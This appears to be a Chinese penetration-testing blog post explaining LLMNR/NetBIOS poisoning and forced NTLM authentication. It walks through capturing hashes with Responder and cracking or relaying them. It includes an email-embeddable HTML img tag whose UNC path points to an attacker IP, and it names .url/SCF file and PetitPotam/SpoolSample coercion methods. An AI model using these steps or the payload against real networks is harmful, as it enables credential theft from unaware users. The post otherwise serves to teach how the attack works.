Skip to main content

LLMNR中毒与强制认证

在企业网络中,DNS 被广泛使用。然而一些企业没有完美地配置 DNS,例如由于 DNS 表不完整、服务器不可用等导致标准 DNS 服务器无法解析一些用户请求的域名。为了填补这一缺陷并拥有更流畅的网络,在这种情况下一些客户端被配置为使用替代名称解析协议。例如,默认情况下,Windows 主机被配置为依赖 LLMNR(本地链路多播名称解析)和 NetBIOS(NetBIOS 名称服务)解析。这两个协议都是用于解析本地网络的,NetBIOS 通常已过时,可用于与旧系统进行通信。 LLMNR 专为可能不存在 DNS 服务器的消费级网络而设计。 NetBIOS 在 Microsoft Windows 2000 及更高版本的机器上默认启用(而在旧版本中独立于 DNS 存在),LLMNR 在 Microsoft Windows Vista™ 及更高版本的机器上启用。

DNS 是单播协议,这意味着用户直接向服务器请求名称解析,而 LLMNR、NetBIOS 是多播协议。这意味着如果攻击者也在使用这些协议的网络内,他可以回答随机名称解析请求并将客户端重定向到恶意服务器,即 LLMNR 中毒。一旦攻击者能够回答 LLMNR、NetBIOS 查询,他就可以选择将受害者重定向到等待传入访问请求的 NTLM 中继服务器。服务器然后可以要求客户端进行身份验证,然后继续将身份验证消息中继到所需的目标。至于中继攻击本身,我们在下一篇详细阐述。

如下图所示,LLMNR 中毒攻击流程如下

1:客户主机请求访问一个不存在的主机名,没有找到 DNS 记录

2:客户通过 LLMNR 协议询问网络内主机是否有谁知道该主机

3:攻击者抢答称自己知道该主机

4:客户主机向攻击者认证

5:攻击者将认证进行中继,或者对捕获的认证进行破解获取明文凭证

image.png

如何复现这样的操作呢?

1:在 Kali 主机上运行 responder, -I 选项绑定网络适配器。responder 支持多种协议,因此会开启多个端口,但我们不需要其中所有的,而是根据需要。例如,在此处,我们会在客户机上通过 SMB 访问不存在的资源。

image.png

2:在客户机上访问任意不存在的资源,这里的话,IP 是存在的,但是共享目录是不存在的。在企业环境中,可以对应为员工试图访问共享目录的时候输错了 UNC 地址。

image.png

3:responder 捕获了认证。这里的话,我们可以使用 hashcat 对其进行破解,也可以进行中继攻击。但是需要注意的是,不能使用原协议中继给原客户机,细节会在下一篇中描述。

image.png


这样,相信大家对 LLMNR 中毒攻击有了基本了解了。在企业环境中,攻击者开启 Responder 对网络进行监听,并且等待用户输错要访问的资源名从而触发 LLMNR 查询并捕获认证流,因此只要监听的时间足够长,可以说拿下高权限用户是迟早的事情。但是,我们也不能只是坐着干等,至少我们可以通过一些小技巧和手段加速这个过程,于是我们可以使用强制认证攻击。

强制认证,顾名思义,可以在不被受害用户意识到的情况下强制其对攻击者进行认证。常见的手段有

1:在邮件中添加不存在的图标的 UNC 路径,例如 <img src="\\192.168.0.44\share\test.ico" height="1" width="1" />

2:生成指向不存在的 SMB 目录的 UNC 路径的快捷方式、SCF 文件、URL文件等,并让受害者访问到。

3:利用 SpoolSample、PetitPotam 等工具通过 MSRPC 协议进行远程强制认证。


我们可以这么做:

1:如图所示,生成一个 url 文件

image.png

2:让受害用户访问到该文件,例如将其上传到可写的 SMB 共享目录中

3:Responder 捕获认证流。


Ref:

https://www.crowe.com/cybersecurity-watch/netbios-llmnr-giving-away-credentials#:~:text=LLMNR%20stands%20for%20link%2Dlocal,between%20hosts%20on%20local%20networks.